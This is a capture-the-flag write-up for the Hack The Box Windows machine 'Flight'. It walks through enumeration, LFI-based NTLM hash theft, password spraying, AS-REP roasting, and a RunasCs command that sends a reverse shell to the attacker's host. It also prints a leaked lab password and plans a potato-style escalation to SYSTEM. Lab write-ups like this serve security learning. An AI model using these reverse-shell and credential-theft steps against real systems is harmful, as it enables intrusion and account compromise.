Flight is a hard Windows machine that starts with a website with two different virtual hosts. One of them is vulnerable to LFI and allows an attacker to retrieve an NTLM hash. Once cracked, the obtained clear text password will be sprayed across a list of valid usernames to discover a password re-use scenario. Once the attacker has SMB access as the user s.moon he is able to write to a share that gets accessed by other users. Certain files can be used to steal the NTLMv2 hash of the users that access the share. Once the second hash is cracked the attacker will be able to write a reverse shell in a share that hosts the web files and gain a shell on the box as low privileged user. Having credentials for the user c.bum, it will be possible to gain a shell as this user, which will allow the attacker to write an aspx web shell on a web site configured to listen only on localhost. Once the attacker has command execution as the Microsoft Virtual Account, he is able to run Rubeus to get a ticket for the machine account that can be used to perform a DCSync attack ultimately obtaining the hashes for the Administrator user or abuse SeImpersonatePrivilege privilege to gain SYSTEM account.
Enumeration
Scope
IP Address: 10.10.11.187
Nmap Scan
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ nmap -p- --min-rate 10000 $ip -Pn
PORT STATE SERVICE REASON
53/tcp open domain syn-ack
80/tcp open http syn-ack
88/tcp open kerberos-sec syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
389/tcp open ldap syn-ack
445/tcp open microsoft-ds syn-ack
464/tcp open kpasswd5 syn-ack
593/tcp open http-rpc-epmap syn-ack
636/tcp open ldapssl syn-ack
3268/tcp open globalcatLDAP syn-ack
3269/tcp open globalcatLDAPssl syn-ack
5985/tcp open wsman syn-ack
9389/tcp open adws syn-ack
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ sudo nmap -sU -p1-10000 --min-rate 10000 $ip -Pn
PORT STATE SERVICE
53/udp open domain
389/udp open ldap
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Reel2]
└─$ nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sCV $ip -oN Nmap/script-scan
PORT STATE SERVICE VERSION
53/tcp open domain?
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-20 10:26:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-07-20T10:28:25
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h00m03s
* Open ports:53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389
* UDP open ports: 53,389
* Services: DNS - HTTP - KERBEROS - RPC - SMB - LDAP - LDAPS - winRM
* Versions: Apache httpd 2.4.52 - PHP/8.1.1
* Important notes: Domain: flight.htb
I started to collect subdomain of the webapp since there is web server listening on port 80
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Rebound]
└─$ rpcclient -U '%' $ip
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> srvinfo
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED
SMB Enumeration
Nothing also from smb
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Rebound]
└─$ smbclient -N -L //$ip
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.187 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Rebound]
└─$ crackmapexec smb $ip -u '' -p '' --shares
SMB 10.10.11.187 445 G0 [+] flight.htb\:
SMB 10.10.11.187 445 G0 [-] Error enumerating shares: STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Rebound]
└─$ crackmapexec smb $ip -u 'guest' -p '' --shares
SMB 10.10.11.187 445 G0 [-] flight.htb\guest: STATUS_ACCOUNT_DISABLED
KERBEROS Enumeration
I started kerbrute to get at least valid usernames but with no luck.
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Flight]
└─$ ldapsearch -H ldap://$ip -x -b "DC=FLIGHT,DC=HTB" -s sub '*'
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
HTTP Enumeration
http://10.10.11.187/
It's a static website and when fuzzing directory, I didn't find anything, So I went to explore school.flight.htb subdomain I found before.
http://school.flight.htb/
Shell as svc_apache
The webapp includes files in view parameter http://school.flight.htb/index.php?view=about.html
I tried to include local file with these payloads but without luck:
I tried ASREPROASTING against these users but no luck :(
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Flight]
└─$ impacket-GetNPUsers FLIGHT.HTB/ -dc-ip $ip -no-pass -request -format hashcat -usersfile users.lst
<snip>
[-] User C.Bum doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User W.Walker doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User I.Francis doesn't have UF_DONT_REQUIRE_PREAUTH set
<snip>
I tried then to spray the password of the user svc_apache and see if it's reused by another user
The webshell doesn't persist maybe there is a clean up script. I will upload nc.exe and send a shell to my kali machine
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Flight]
└─$ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.187] 50122
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\xampp\htdocs\school.flight.htb>
I wanted to get a shell as C.Bum also, So I uploaded RunasCs.exe and send connection back to my kali machine
PS C:\users\Public> .\RunasCs.exe C.BUM Tikkycoll_431012284 Powershell -r 10.10.16.7:8443
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-58a5e$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 2364 created in background.
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Flight]
└─$ rlwrap nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.187] 50150
PS C:\Windows\system32> whoami
flight\c.bum
Get the user flag
PS C:\Users\C.Bum> type Desktop\user.txt
ed94451f15400f9a656xxxxxxxxxxxxxxxx
User Flag: ed94451f15400f9axxxxxxxxxxxxx
Looking at listening ports, non-default port is there.
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Flight]
└─$ nmap -p8888 localhost -sCV
PORT STATE SERVICE VERSION
8888/tcp open http Microsoft IIS httpd 10.0
|_http-title: Flight - Travel and Tour
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
http://localhost:8888/
Shell as defaultapppool
PS C:\inetpub> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/22/2022 12:24 PM custerr
d----- 7/20/2024 6:57 AM development
d----- 9/22/2022 1:08 PM history
d----- 9/22/2022 12:32 PM logs
d----- 9/22/2022 12:24 PM temp
d----- 9/22/2022 12:28 PM wwwroot
There is development folder and C.BUM has full access on it
PS C:\inetpub> icacls development
development flight\C.Bum:(OI)(CI)(W)
<snip>
PS C:\Users\Public> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
<snip>
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Since I have SeImpersonatePrivilege, I can escalate to SYSTEM using JoicyPotato-ng
